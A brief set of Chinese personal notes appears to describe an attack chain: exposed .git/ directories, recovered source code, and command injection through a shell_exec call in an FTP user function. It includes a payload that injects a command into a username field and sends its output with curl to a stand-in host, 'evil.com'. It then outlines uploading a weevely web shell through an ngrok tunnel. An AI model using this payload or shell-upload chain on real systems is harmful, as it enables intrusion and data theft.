随手记
nuclei的输出显示了几个主机上暴露的 .git/ 目录,通过这些目录可以下载源代码
git-dumper工具 还原代码
代码中他们使用了对本地 bash 脚本的调用来通过 shell_exec 保存和删除 ftp用户()函数,造成 rce。
可以通过将命令发送到 URI 或通过 base64 编码形式的 POST 正文来读取命令的输出:someusr; curl <https://evil.com/$>(id|base64|tr -d "\\n");
只剩下上传shell,唯一的障碍是对当前目录没有写权限,所以上传shell到uploads/ (生成shell,我用的是weevely工具)
1.将 shell 保存在本地 txt 中,以便能够通过 curl 传输它,并在自己的主机上启动服务器用 ngrok 建立隧道
2.发送一个payload,将我们的 shell 保存在uploads/shell.php
3.使用weevely连接到上传的 shell